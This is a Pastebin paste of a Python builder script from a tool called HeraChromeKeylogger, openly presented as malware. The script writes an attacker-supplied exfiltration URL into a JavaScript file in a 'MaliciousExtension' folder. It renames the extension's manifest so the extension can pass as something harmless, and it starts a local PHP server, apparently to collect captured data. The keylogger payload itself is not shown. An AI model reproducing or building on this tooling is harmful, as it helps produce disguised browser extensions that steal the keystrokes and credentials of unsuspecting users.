Advertisement
FlyFar

core/builder.py

Nov 19th, 2023
666
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.23 KB | Cybersecurity | 0 0
  1. ######################################################
  2. #                                                    #
  3. #       HeraChromeKeylogger                          #
  4. #                                                    #
  5. # by:     UNDEADSEC                                  #
  6. #                                                    #
  7. # Telegram Group: https://t.me/UndeadSec             #
  8. # YouTube Channel: https://youtube.com/c/UndeadSec   #
  9. # Twitter: https://twitter.com/A1S0N_                #
  10. #                                                    #
  11. ######################################################
  12. from json import load, dump
  13. from os import system
  14.  
  15. def build(prefix, domain):
  16.     with open('MaliciousExtension/temis.js', 'r+') as f:
  17.         content = f.read()
  18.         f.seek(0, 0)
  19.         f.write('var url = \'' + prefix + domain + '\';' + '\n' + content)
  20.  
  21. def editMan(newName, newDesc, newVersion):
  22.     with open('MaliciousExtension/manifest.json', 'r+') as f:
  23.         data = load(f)
  24.         data['name'] = newName
  25.         data['description'] = newDesc
  26.         data['version'] = newVersion
  27.         f.seek(0)
  28.         dump(data, f, indent=4)
  29.         f.truncate()
  30.  
  31. def runServer():
  32.     system("sudo php -S 127.0.0.1:80")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement